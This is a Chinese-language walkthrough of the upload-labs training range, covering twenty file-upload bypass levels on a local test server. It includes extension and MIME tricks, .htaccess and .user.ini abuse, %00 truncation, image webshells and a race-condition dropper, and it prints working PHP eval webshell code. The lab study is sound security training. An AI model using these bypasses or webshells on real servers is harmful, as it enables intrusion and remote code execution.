● htaccess文件只能用于apahce,不能用于iis和nginx等中间件
● .user.ini只能用于Server API为FastCGI模式下且php版本高于5.3,而正常情况下apache不是运行在此模块下的。
● .htaccess和.user.ini都只能用于访问本目录下的文件时进行覆盖。
1、Pass-01 前段JS验证
  1. 上传1.php文件 手动修改前段js代码
  2. 上传1.php文件,上传成功
  3. 第二种解法:
  4. 尝试利用bp截取数据包,手动修改文件后缀然后上传
  1. 手动修改后缀为php
  2. 利用蚂剑进行连接 测试连接成功 代表上传正完成
2、Pass-02 MIME校验

校验数据包中的Content-type是否为图片类型

  1. 上传1.php文件
  2. 抓包修改后缀 依旧上传失败
  3. 修改content-type为image/png 页面无报错信息
  4. 利用蚁剑连接 连接成功
3、Pass-03 黑名单验证,特殊后缀绕过
  1. 上传1.php文件 发现此关限制为黑名单限制 但限制的后缀名不全
  2. 尝试利用bp抓包后端修改content-type 依旧失败
  3. 黑名单限制 无法绕过只能使用特殊后缀解析 php的语言特性,可以解析php3 php5 phtml后缀文件 (将靶场环境修改配置文件 改一下httpd.conf文件里的#AddType application/x-httpd-php .php .phtml
    为AddType application/x-httpd-php .php .phtml .php5 .php3)
  4. 另一种解法 利用.htaccess绕过
  1. 编写.htaccess文件 代码如下
  1. Addtype application/x-httpd-php png #将png类型文件解析为php文件执行
  1. 上传.htaccess文件 (注意 名称一定是 .htaccess 不要修改)

  2. 然后上传.png图片 抓包将其内容修改为1句话木马 测试连接 连接正确

upload通关_后缀

4、Pass-04 黑名单验证 ,.htaccess绕过

  1. 上传1.php5 发现无法上传
  2. upload通关_php_02


  3. 查看提示 发现禁止上传的后缀文件很多
  4. upload通关_php_03

  5. 同样 利用.htaccess文件测试
  1. 上传.htaccess文件
  2. 上传2.png文件(含有一句话木马)

  3. 测试蚁剑连接 成功绕过
  4. upload通关_后缀_04

5、Pass-05 黑名单验证 .user.ini绕过

  1. 尝试利用.htaccess文件 发现上传失败 估计此题目黑名单禁止了该后缀文件
  2. upload通关_php_05

第一种解法 利用.user.ini

  1. 修改环境运行版本(.user.iniTIP:经过查询资料得知、。。、使用.user.ini文件构造文件上传 需要调整为1、FastCGI模式 2、php版本高于5.3 3、上传目录下需要有可执行的php文件) 详见可参考链接https://blog.csdn.net/u014029795/article/details/117252533
  2. upload通关_php_06


  3. 点击提示 满足条件3
  4. upload通关_php_07

  5. 利用
.user.ini文件中  存在两个字段,auto_prepend_file string&auto_append_file string
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:
auto_prepend_file=test.jpg
或者
auto_append_file=test.jpg
然后将图片马传上去,再访问index.php,注意是上传目录下的index.php,执行任意命令即可,也可蚁剑连接
  1. 构造.user.ini文件
  1. auto_append_file=1.png (将1.png包含的内容按照php代码执行)

upload通关_php_08


  1. 然后上传1.png(含有一句话木马)
  2. upload通关_上传_09


  3. 查看php.ini文件 查看user.ini_cache_ttl=300 代表300秒即5分钟生效
  4. upload通关_后缀_10


  5. 等待5分钟后 利用蚁剑连接 成功
  6. upload通关_上传_11

第二种解法 利用php. . (点空格点 )绕过

  1. 查看源码 根据代码提示 删除末尾的点 然后进行首尾去空
  2. upload通关_后缀_12

  3. 那么构造后缀名为".php. ." 的文件 :过滤机制---首先他发现有一个点,这时会把“点”去掉,又发现有一个空格,也会把它去掉,我们这时还有一个点,也就是.php. 就变成.php.的文件(在Windows服务器中,后缀名之后的点,在保存时,会被自动忽略。)就可以上传成功 并能够解析

  1. 上传.php文件 bp抓包修改后缀 成功上传
  2. upload通关_php_13


  1. 蚁剑连接 测试

upload通关_后缀_14

6、Pass-06 黑名单验证 大小写绕过
  1. 点击查看源码

  1. 第五关
  2. upload通关_php_15

  3. 第六关 相比于第五关 没有strtolwer函数 没有转换大小写

  4. 所以 此关可以使用大小写进行绕过
  5. upload通关_php_16


  6. 蚁剑连接(蚁剑连接编码使用base64)
  7. upload通关_php_17

7、Pass-07 黑名单验证 空格+. 绕过
  1. 查看源码
  1. 过滤机制
  1. 为黑名单验证,不区分大小写
  2. 没有进行首尾去空格的trim函数(删除左右两边的空格)
  1. 绕过思路
  1. 那么就可以在上传时抓包,然后在php文件的后面增加空格来绕过限制

  2. 上传后的文件名为php+空格(注:这里利用了window与linux的一个处理机制不同的小点,window会自动忽略空格,但是linux就不会,因此这种绕过方式只能在windows中使用)
  3. upload通关_上传_18


  4. bp截取数据包,修改后缀名

upload通关_上传_19


  1. 蚁剑连接测试

upload通关_上传_20


8、Pass-08 黑名单验证 . 绕过
  1. 查看源码
  1. 过滤机制
  1. 过滤了所有可以解析的后缀
  2. 不区分大小写&&去掉左右空格
  1. 绕过思路
  1. 与之前代码之前不同之处,缺少去掉后缀为 . 的函数deldot()
  2. 那么可以在后缀+. 进行绕过
  3. bp抓包测试
  4. 蚁剑测试连接 连接成功
9、Pass-09 黑名单验证 ::$DATA绕过

  1. 源码查看 与之前代码相比 缺少过滤 ::$DATA
  2. upload通关_php_21


  3. 直接后缀名+ ::$DATA绕过
  4. upload通关_php_22


  5. 蚁剑连接
  6. upload通关_后缀_23

10、Pass-10 黑名单验证 .空格+. 绕过
  1. 源码:根据源码查看,此关类似第七关 过滤 点 空格

  2. deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来 所以后缀名为 .php. . 经过过滤后变为 .php.
  3. upload通关_php_24


  4. 后缀+. . 绕过
  5. upload通关_php_25


  6. 蚁剑连接
  7. upload通关_后缀_26

11、Pass-11 黑名单验证 双写绕过

  1. 查看源码 过滤机制
  2. upload通关_php_27

  1. $file_name = trim($_FILES['upload_file']['name']);: 从上传的文件信息中获取文件名,并使用trim函数去除文件名两端的空格。
  2. $file_name = str_ireplace($deny_ext,"", $file_name);: 使用str_ireplace函数,将在$deny_ext数组中定义的不允许的文件扩展名(可能是黑名单)从文件名中移除。这样可以防止上传不受允许的文件类型。
  1. 根据源码可以看出 过滤机制可能会把黑名单限制的后缀名去空

  2. 绕过 双写绕过 后缀名写为.Pphphp
  3. upload通关_上传_28

  4. 可以看出上传后的文件 后缀变为Php

  5. 利用蚁剑连接测试

upload通关_上传_29

12、Pass-12 白名单 get-0x00截断

此关通过前提 关闭魔术开关 php版本<5.3.4

magic_quotes_gpc 着重偏向数据库方面,是为了防止sql注入,但magic_quotes_gpc开启还会对$_REQUEST, $_GET,$_POST,$_COOKIE 输入的内容进行过滤
  1. move_uploaded_file 遇到0x00会截断,0x00表示16进制对应--URL中 %00

  2. 根据提示、上传路径可控
  3. upload通关_php_30


  4. 查看源码 发现使用了白名单机制,只允许上传指定的后缀文件 那么之前的绕过就不能够使用
  5. upload通关_后缀_31


  6. 通过查看路径代码 发现img_path 是直接拼接的路径 可以使用%00进行截断绕过
  7. upload通关_上传_32


  8. 上传.jpg文件,在bp中修改。变量save_path= 代表路径可控,且在GET参数中,%00会自动解码,所以可以直接修改存储路径。在1.php后面加上%00,其后面的内容就会被截断,上传成功后就是php文件。
  9. upload通关_php_33



  1. 利用蚁剑连接
  2. upload通关_php_34













13、Pass-13 白名单 Post 0x00截断

  1. 查看源码 同样是路径可控 只不过提交方式变为post
  2. upload通关_上传_35


  3. 同理,bp截取数据包,在save_path ../upload/加上1.php%00 由于%00在post的数据包中会被认为是普通字符串,不会自动解码,所以手动解码后提交
  4. upload通关_上传_36


  5. 然后提交数据包
  6. upload通关_后缀_37


  7. 蚁剑测试连接
  8. upload通关_上传_38

14、Pass-14 图片马

如图 14关页面显示,此次任务是提交图片马到服务器

upload通关_php_39


  1. 查看页面提示 本关检查图标开头两个字节
  2. upload通关_上传_40

  3. 那么 根据任务提示和页面提示 本关的解题思路 也就是
  1. 利用正常的图片+一句话木马文件 生成后缀名为.jpg .png .gif的图片马
  2. 利用文件包含漏洞 运行图片马中的代码
  3. 利用蚁剑连接
  1. 尝试绕过
  2. 制作图片马
    1. 在文件目录下 打开cmd命令行,使用如下命令生成图片马
copy 1.jpg/b + 1.php/a 14.jpg
#/b是二进制文件,/a是ASCII文件,14.jpg是新生成的图片马的文件

upload通关_php_41

b. 上传14.jpg文件 上传成功 复制图片链接地址 得到上传后的图片名7720240307141128.png

upload通关_后缀_42

c. 借助文件包含,解析图片马 输入:http://127.0.0.1:8080/upload-labs/include.php?file=upload/7720240307141128.png 如下图所示



因为在PHP中,使用include、require、include_once、require_once函数包含的文件都会被当作PHP代码执行,无论文件的名称是什么,只要符合文件内容符合PHP代码规范,都会被当作PHP代码执行。



upload通关_后缀_43

d. 测试蚁剑连接 注:url地址含有include?file的URL地址

upload通关_后缀_44

15、Pass-15 图片马 getimagesize
  1. 任务显示 和上一关相同

  2. 查看提示 提示本关过滤函数为getimagesize
  3. upload通关_后缀_45

getimagegesize()函数用于获取图像代销及相关信息,成功返回一个数组,失败则返回一个错误信息,总之是一个判断图片大小和类型的一个函数,也避免了直接更改后缀名的绕过。

  1. 利用上一关的图片马 尝试绕过 上传成功
  2. upload通关_后缀_46


  3. 验证是否被解析
  4. upload通关_后缀_47


  5. 蚁剑连接
  6. upload通关_后缀_48


















16、Pass-16 图片马 exif_imagetype()
  1. 根据提示 此关为exif_imagetype() 需要开启php_exif模块。
exif_imagetype() 是一个 PHP 函数,用于获取图像文件的类型。与 getimagesize() 不同,exif_imagetype() 主要用于快速检测图像文件类型,而不返回详细的图像信息。

  1. 继续尝试利用之前的图片马上传 上传成功
  2. upload通关_后缀_49


  3. 蚁剑连接
  4. upload通关_php_50

17、Pass-17 二次渲染

  1. 查看提示 也就是说 上传后的图片马 会被二次修改 一句话木马有可能就被修改掉相关的内容
  2. upload通关_后缀_51

  3. 那么 我们可以使用011editor工具分析图片中相同的和不同的部分,可以将一句话图片木马插入到一直不变的区域就可以实现上传一句话木马了

  4. 利用011editor工具 将一句话木马插入到图片中
  5. upload通关_上传_52

  6. 上传图片 将该图片保存到本地

upload通关_上传_53


  1. 利用beyond compare工具将两个图片进行对比 找到没有被渲染的部分 发现头部没有被渲染
  2. upload通关_上传_54


  3. 在没有被渲染的地方 添加一句话木马
  4. upload通关_上传_55


  5. 上传文件后 对比是否内容更改
  6. upload通关_php_56


  7. 蚁剑连接 成功

upload通关_后缀_57

18、Pass-18 图片马or  . 绕过
  1. 查看提示 提示需要代码审计
  2. 查看下源码 分析代码
a.  $ext_arr = array('jpg','png','gif');  这段代码 定义一个名为$ext_arr的数组。数组中包含了三个文件扩展名的字符串:jpg  png  gif
  b. $file_name = $_FILES['upload_file']['name'];:  获取上传文件的原始文件名。$_FILES['upload_file']['name']表示上传文件表单字段的名称为 "upload_file",而 'name' 键用于获取上传文件的原始文件名。
  c. $temp_file = $_FILES['upload_file']['tmp_name'];:获取上传文件的临时文件名。$_FILES['upload_file']['tmp_name']表示上传文件在服务器上的临时存储位置。上传的文件首先存储在临时目录中,然后可以在处理后移动到目标位置。
  d. $file_ext = substr($file_name, strrpos($file_name, ".") + 1);:获取文件扩展名。这一行代码使用了字符串处理函数。
  e. strrpos($file_name, ".") 查找文件名中最后一个点的位置,即文件扩展名的起始位置。
  f. substr($file_name, strrpos($file_name, ".") + 1) 从文件名中截取扩展名部分。
  g. $upload_file = UPLOAD_PATH . '/' . $file_name;:构建最终上传文件的目标路径。UPLOAD_PAT 	H 是一个常量,表示上传文件应该存储的目标目录。将目标目录和文件名连接起来,形成完整的目标路径。
  h. 总的来说,这段代码获取了上传文件的原始文件名、临时文件名以及文件扩展名,并构建了上传文件的目标路径。在实际应用中,你可能会在这之后添加一些文件处理逻辑,比如将文件从临时位置移动到最终目标位置。
  if(move_uploaded_file($temp_file, $upload_file)) {:
使用move_uploaded_file函数将临时文件移动到目标位置。这个函数会检查文件是否是通过合法的 HTTP POST 上传而来,如果是,它会移动文件到指定的目录。
如果移动成功,进入此条件。
if(in_array($file_ext, $ext_arr)) {:

检查文件扩展名是否在允许的扩展名数组 $ext_arr 中。
如果是,进入此条件。
$img_path = UPLOAD_PATH . '/' . rand(10, 99) . date("YmdHis") . "." . $file_ext;:

构建一个新的文件路径,这个路径包含了上传目录、一个随机数、以及当前的日期和时间作为文件名前缀。
rename($upload_file, $img_path);:

使用 rename 函数将文件从临时位置重命名为新的路径,这个新路径包括随机数和日期时间。
$is_upload = true;:

设置一个标志,表示文件已成功上传。
} else {:

如果文件扩展名不在允许的扩展名数组中,进入此条件。
$msg = "只允许上传.jpg|.png|.gif类型文件!";:

设置一个消息,说明只允许上传指定的文件类型。
unlink($upload_file);:

如果文件类型不合法,使用 unlink 函数删除刚刚上传的文件。
} else {:

如果文件移动失败,进入此条件。
$msg = '上传出错!';:

设置一个消息,说明上传过程中发生了错误。
总的来说,这段代码的目标是将上传的文件移动到指定目录,并根据文件的扩展名进行一些处理。如果文件类型合法,则进行重命名并标记上传成功;否则,删除文件并标记出错。
  • 总的来说 这段关卡的代码 首先将上传的文件进行保存,然后进行分析,判断是否为合规文件,若为合规文件,就将文件名重命名后保存,若为违规文件,则进行删除文件操作
  1. 绕过思路
  1. 可以上传图片马,网站依旧存在文件包含漏洞可以利用。
  1. 类似17关 上传图片马 复制图片链接地址
  2. 利用文件包含漏洞进行解析 解析成功
  3. 蚁剑连接
  1. 代码执行需要时间 文件先上传保存 然后进行判断 决定文件是否被删除
      1. 那么我们可以上传一句话木马,在上传文件被删除前的这段时间内,访问上传的一句话木马 ,使其在服务器生成一个恶意木马文件。
<?php fputs(fopen('1.php', 'w'), '<?php @eval($_POST["x"]);?>');?>
fopen('Tony.php', 'w') #使用 fopen 函数以写入模式('w')尝试打开或创建一个名为 1.php 的文件。如果文件不存在,将会被创建;如果文件已经存在,其内容将会被截断为空。
fputs(..., '<?php @eval($_POST["x"])?>'):#使用 fputs 函数(fputs 是 fwrite 函数的别名)将 PHP 代码字符串 <?php @eval($_POST["Tony"])?> 写入打开的文件句柄中。这段 PHP 代码片段使用 eval 函数执行通过 POST 请求发送的名为 x 的参数中的任意 PHP 代码。

这段代码的目的是在服务器上创建一个具有远程代码执行(RCE)漏洞的 PHP 文件。
      1. 那么利用bp的爆破模块不断去上传18.php文件 然后我们通过浏览器不断地去访问18.php 一旦访问成功 那么在服务器上就可以生成一个名为1.php 的恶意文件 然后就可以利用蚁剑进行连接1.php
      2. 爆破上传:
      3. upload通关_php_58

      4. 使用浏览器不断访问http://127.0.0.1:8080/upload- labs/upload/18.php 可以看到 上传的目录 已经出现1.php文件
      5. upload通关_后缀_59

      6. 蚁剑连接 连接成功
      7. upload通关_上传_60









19、Pass-19 条件竞争

本关代码 需要进行修改 如下myupload.php 修改103行

upload通关_上传_61

点击提示 同样需要代码审计

  1. 尝试图片马 无法解析 失败
  2. upload通关_后缀_62

  3. 查看源码
    1. 根据源码,此关和18关不同之处,先白名单过滤所以不能上传php文件 只能上传图片马
var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );这个数组似乎用于存储允许上传的文件类型的扩展名。每个元素都是一个字符串,以点(.)开头,表示相应文件类型的扩展名。例如,".doc" 表示Microsoft Word文档,".jpg" 表示JPEG图像,".pdf" 表示Adobe PDF文件,以此类推。
在文件上传的处理中,可能会使用这个数组来检查上传的文件是否具有允许的扩展名。如果上传文件的扩展名不在这个数组中,可能会触发文件类型不允许的错误。
这种做法有助于限制用户上传的文件类型,提高应用程序的安全性,防止恶意文件上传。
require_once("./myupload.php");:引入了一个外部文件 myupload.php。这个文件可能包含了有关文件上传处理的类定义或相关函数。
$imgFileName = time();:创建一个变量 $imgFileName,并将其赋值为当的时间戳(通过 time() 函数获取)。这个时间戳可能被用作新上传文件的文件名的一部分。
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'], $imgFileName);:创建一个名为 $u 的 MyUpload 类的实例。这个类的构造函数可能接受上传文件的原始文件名、临时文件名、文件大小和新文件名等参数。
$status_code = $u->upload(UPLOAD_PATH);:调用 $u 实例的 upload 方法,传递了上传文件的目标路径 UPLOAD_PATH。这个方法可能包含了文件上传的一系列操作,包括检查文件类型、文件大小、移动文件到指定目录等,并返回一个状态码。
总体来说,这段代码的目的是将上传的文件通过 MyUpload 类进行处理,处理的结果以状态码的形式存储在 $status_code 变量中。
    1. 代码还对上传后的文件进行检查大小以及文件是否已经存在,上传以后又对文件进行了重命名
  1. 绕过
    1. 生成图片马(利用18关的代码)
    2. upload通关_上传_63

    3. 上传图片马 bp截取
    4. 在图片马没有被重命名之前,利用文件包含执行上传文件
      1. 首先使用1.php (<?php phpinfo();?>) +1.jpg 生成一个pass19.jpg 验证文件包含是否执行成功
      2. upload通关_后缀_64

      3. 利用18关的php代码(<?php fputs(fopen('1.php', 'w'), '<?php @eval($_POST["x"]);?>');?>) 结合1.jpg生成新的pass19.jpg
      4. 在此处遇到一个问题 生成的jpg文件 需要手动用记事本编辑 如图所示 这样就会导致代码不会执行 手动将代码修改正确
      5. upload通关_后缀_65

      6. bp爆破 浏览器不断访问http://127.0.0.1:8080/upload-labs/include.php?file=upload/pass19.jpg 成功生成1.php文件
      7. upload通关_php_66

        upload通关_后缀_67


20、Pass-20 利用文件包含 or 利用.绕过
第1种 利用之前的手法测试
  1. 相比之前的任务栏 多了一个功能框为文件名称
  2. 点击查看提示 显示本关的取文件名通过post方式来获取
  3. upload通关_后缀_68

  4. 通过抓包查看 发现文件名通过save_name函数保存
  5. upload通关_php_69

  6. 文件成功上传后 利用文件包含连接 成功上传
  7. upload通关_上传_70

第2种 分析源码 查看绕过方式
  1. 通过源码分析 此关为黑名单过滤 过滤了绝大多数解析后缀
  2. upload通关_上传_71

  3. 但是没有去掉首尾空格 . 等特殊符号 尝试上传 .php.文件 上传成功
  4. upload通关_php_72

  5. 利用蚁剑连接
  6. upload通关_上传_73